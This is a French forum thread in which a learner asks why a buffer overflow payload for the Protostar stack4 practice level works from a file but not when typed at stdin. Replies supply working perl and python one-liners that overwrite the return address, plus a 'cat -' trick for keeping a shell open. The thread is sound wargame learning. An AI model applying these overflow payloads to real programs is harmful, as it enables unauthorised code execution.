buffer overflow

Le problème exposé dans ce sujet a été résolu.

Salut, depuis quelques semaines je m’entraine sur protostar et j’ai quelques questions:

Pour réussir le stack4 j’ai du mettre mon code dans un fichier et l’envoyer comme entrée au programme, si je le tape dans l’entrée standard il est mal interprété.

voici le code que j’ai entré:

buffer padding EIP
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA BBBCCCDDDEEE \xf4\x83\x04\x08

pourquoi lorsque je donne ça en texte, il est mal interprété mais lorsque je le met dans un fichier et donne le fichier en entrée il est correctement interprété ?

+0 -0

Salut d3m0t3p,

tu utilises quelle syntaxe de ligne de commande pour envoyer ta payload via l’entrée standard ?

J’ai un peu la flemme de télécharger l’image sur wargame, mais pour moi ça serait :

1
$ cat <(perl -e 'print "A"x64 . "BBBCCCDDDEEE" . "\xf4\x83\x04\x08"') - | ./stack4

Le cat - permet de maintenir stdin ouvert puisque bash a tendance à le fermer immédiatement après l’exécution de la première commande s’il voit qu’il y a un pipe qui relie la sortie de ta première commande à l’entrée de la seconde. Et qui dit pas de stdin ouvert dit… Pas de shell pour bibi ! ^^

Bon, après, ton objectif est d’appeler la fonction win ici, donc on s’en fiche de stdin au final. J’utiliserais donc :

1
perl -e 'print "A"x64 . "BBBCCCDDDEEE" . "\xf4\x83\x04\x08"' | ./stack4

Salut, tout d’abord merci pour ta réponse, je pense que l’astuce du cat - me sera util dans les prochains niveaux

je m’y prends de deux manières:

premièrement

1
2
$ ./stack4  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBCCCDDDEEE\xf4\x83\x04\x08

et deuxièmement de cette façon:

1
2
$ python -c "print 'A'*64 + 'BBBCCCDDDEEE'+ '\xf4\x83\x04\x08'" >stack4.txt  
$ ./stack4 < stack4.txt

la manière deux fonctionne mais pas la une, pareil lorsque je lance depuis radare2 (debugger/désassembleur) je donne l’entrée(buffer+paddding+eip) comme dans la manière une et le résultat n’est pas juste.

On dirait qu’il interprète la valeur de chaque caractère de ’\xf4’ et non la valeur représentée en hexadécimal car lorsque je regarde ma stack, elle ne contient pas \xf4\x83\x04\x08 mais les valeurs de chacun de ces caractères.

offset valeur hexa char
0xbffffb60 0xbffffb70 0xb7ec6165 0xbffffb78 0xb7eada75 p…ea..x…u…
0xbffffb70 0x41414141 0x41414141 0x41414141 0x41414141 AAAAAAAAAAAAAAAA
0xbffffb80 0x41414141 0x41414141 0x41414141 0x41414141 AAAAAAAAAAAAAAAA
0xbffffb90 0x41414141 0x41414141 0x41414141 0x41414141 AAAAAAAAAAAAAAAA
0xbffffba0 0x41414141 0x41414141 0x41414141 0x41414141 AAAAAAAAAAAAAAAA
0xbffffbb0 0x43424242 0x44444343 0x45454544 0x3466785c BBBCCCDDDEEE\xf4
0xbffffbc0 0x3338785c 0x3430785c 0x3830785c 0xb7fe1800 \x83\x04\x08....
+0 -0

On dirait qu’il interprète la valeur de chaque caractère de ’\xf4’ et non la valeur représentée en hexadécimal car lorsque je regarde ma stack, elle ne contient pas \xf4\x83\x04\x08 mais les valeurs de chacun de ces caractères.

Ca me paraît cohérent vu la manière dont tu t’y prends dans le premier essai. Essaie ça :

1
$ (python -c "print 'A'*64 + 'BBBCCCDDDEEE'+ '\xf4\x83\x04\x08'"; cat -) | ./stack4
Connectez-vous pour pouvoir poster un message.
Connexion

Pas encore membre ?

Créez un compte en une minute pour profiter pleinement de toutes les fonctionnalités de Zeste de Savoir. Ici, tout est gratuit et sans publicité.
Créer un compte